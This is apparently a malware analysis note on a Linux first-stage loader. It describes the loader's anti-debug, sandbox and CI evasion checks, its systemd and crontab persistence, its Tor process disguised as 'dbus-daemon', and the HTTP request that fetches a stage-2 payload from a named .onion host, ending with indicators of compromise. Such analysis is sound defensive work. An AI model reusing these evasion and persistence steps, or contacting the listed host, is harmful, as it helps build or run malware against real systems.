ELF64 x86-64 PIE, stripped, 43,640 bytes sha256 2d25d2ea313767fae5808164224cf6ad610ab09546d1e5a6f033eedbfd98a281
first-stage loader that installs itself, builds its own tor transport, fetches stage 2 from an .onion, runs it, then goes inactive.
it contains 154 ChaCha20 encrypted strings, see https://gist.github.com/ysf/c1b8cc85f4063367fddb85c443589f5b
first it checks:
- /proc/self/status for TracePid (debugged or not)
- hostname against 16 : malware, vmware, sandbox, cuckoo, honeypot, remnux, flare, anyrun, ...
- 25 CI env vars: GITHUB_ACTIONS, GITLAB_CI, JENKINS_URL, CIRCLECI, to bypass running on CI/CD
then it generates a random daemon and copies itself to /var/lib// as root, or $HOME/./ as user
it persists using:
- /etc/systemd/system/.service, Restart=always, RestartSec=30
- $HOME/.config/systemd/user/.service + loginctl enable-linger
- crontab @reboot
it picks the first existing file from /run/utmp, /var/run/utmp, /var/log/hostd.log, /etc/resolv.conf and writes a single byte
security.selinux xattr. reads it back on the next run and bails if set.
it looks into /etc/systemd/system and /etc/cron.d, matches ExecStart against its own signature, runs systemctl disable --now and deletes. same for every users crontab and user units across /home/*.
then it downloads the tor bundle 16.0a7 from archive.torproject.org. writes a torrc
with AllowSingleHopCircuits 1, forks, and execs it as:
execl(<base>/bin/tor, "dbus-daemon", "-f", torrc, NULL)
argv[0] is "dbus-daemon" (hide from process list). Then it reads tor's stderr until "Bootstrapped 100%", deletes the torrc, and starts a watchdog thread.
if tor runs, it opens SOCKS5, and fetches stage 2:
GET / HTTP/1.1
Host: p4ayykxcrxfyzrgfbbkazernntjbz43hgclrheguylzd7kijmtce6zqd.onion
User-Agent: curl/8.9.1
Connection: close
saves the body to /dev/shm/.agent.bin with fallback to /tmp, untars it, pulls the
linux-x86_64/agent out, chmod 0755, and launches it with systemd-run --user --scope.
(the tar file also contains windows and mac stage2s.)
stage 1 finishes by writes an empty .done marker parallel to its binary. on later runs it checks if it exists (stat) and exits immediately if present.
indicators of compromise:
dbus-daemonsecurity.selinuxxattr on a file with no SELinux policy context